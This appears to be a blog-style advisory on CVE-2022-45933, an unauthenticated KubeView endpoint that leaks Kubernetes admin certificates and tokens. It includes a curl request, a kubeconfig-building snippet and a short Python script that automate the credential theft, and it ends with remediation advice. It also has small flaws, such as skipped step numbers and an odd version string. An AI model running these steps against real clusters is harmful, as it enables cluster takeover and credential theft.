In late 2022, a critical vulnerability surfaced in KubeView, a popular open-source Kubernetes visualizer. Assigned as CVE-2022-45933, this flaw made it trivial for remote attackers to seize control of any Kubernetes cluster running KubeView (up to version .1.31). This post unpacks the vulnerability, walks you through how it works, and provides both exploit details and official references — all in clear American English.
If you run KubeView, read on. This is a must-fix bug that could expose your clusters to complete takeover.
What is KubeView?
KubeView is a simple web app that shows a graphical overview of Kubernetes clusters. It was intended as a "fun side project and learning exercise" by its creator. While its web UI is handy, the internal security model was vastly lacking — and this is where CVE-2022-45933 comes in.
The Vulnerability (CVE-2022-45933) Explained
The root of the problem lies in KubeView’s /api/scrape/kube-system endpoint. This HTTP API path was not protected or authenticated in any way. Anyone who could reach the KubeView instance could call this endpoint.
When invoked, /api/scrape/kube-system unintentionally leaked Kubernetes certificate files and other sensitive information used to authenticate as kube-admin. With these files, an attacker could then connect directly to the cluster and take over as a privileged admin user.
The Vendor’s Stance
Upon notification, the project maintainer admitted KubeView was not "very secure" and noted it was a "fun side project and a learning exercise." No patch or secure release has been made at the time of writing.
Exploit Walkthrough
Here’s how a real-world attack using CVE-2022-45933 would unfold.
1. Discovering a Vulnerable KubeView Instance
Often, KubeView web services are exposed inside clusters, but sometimes — due to misconfiguration — they are open to the internet. The attacker finds the service at http://<target_hostname>:<port>/.
The attacker accesses the unprotected endpoint
curl http://<target_hostname>:<port>/api/scrape/kube-system
The endpoint returns content similar to
{
"certs": {
"ca.crt": "-----BEGIN CERTIFICATE----- ... -----END CERTIFICATE-----",
"token": "eyJhbGciOiJSUzI1NiIsImtp...
},
"admin_kubeconfig": "apiVersion: v1\nclusters:\n- cluster:\n ... "
...
}
4. Building Their Own Kubeconfig
With the tokens and certs, the attacker can build a valid kubeconfig file — as if they were the admin.
Example snippet (shell + yaml)
cat > compromised-kubeconfig.yaml <<EOF
apiVersion: v1
kind: Config
users:
- name: kube-admin
user:
token: <paste-token-here>
clusters:
- name: hacked-cluster
cluster:
certificate-authority-data: <base64-cert>
server: https://<k8s-api-server>;
contexts:
- name: admin@hacked-cluster
context:
user: kube-admin
cluster: hacked-cluster
current-context: admin@hacked-cluster
EOF
Now the attacker can interact as a full Kubernetes admin
KUBECONFIG=compromised-kubeconfig.yaml kubectl get pods --all-namespaces
Here is a basic Python script to automate the exploit
import requests
import yaml
endpoint = "http://<target_hostname>:<port>/api/scrape/kube-system"
# Step 1: Fetch secrets
resp = requests.get(endpoint)
data = resp.json()
# Step 2: Save the kubeconfig
with open("stolen-kubeconfig.yaml", "w") as f:
f.write(data['admin_kubeconfig'])
print("Got kubeconfig! Try: KUBECONFIG=stolen-kubeconfig.yaml kubectl get pods --all-namespaces")
References & Further Reading
- CVE-2022-45933 Record (cve.mitre.org)
- GitHub Issue Discussion
- Original KubeView Source
- Full proof-of-concept exploit (archive.org)
- Kubernetes Security Best Practices
Conclusion
CVE-2022-45933 is a textbook example of good intentions gone wrong due to ignored security basics. No authentication check, no user access controls, and direct exposure of cluster secrets together form a perfect storm. The official advice: do not use KubeView in any serious environment, and always double-check what your third-party tools are exposing.
Timeline
Published on: 11/27/2022 03:15:00 UTC
Last modified on: 12/01/2022 18:41:00 UTC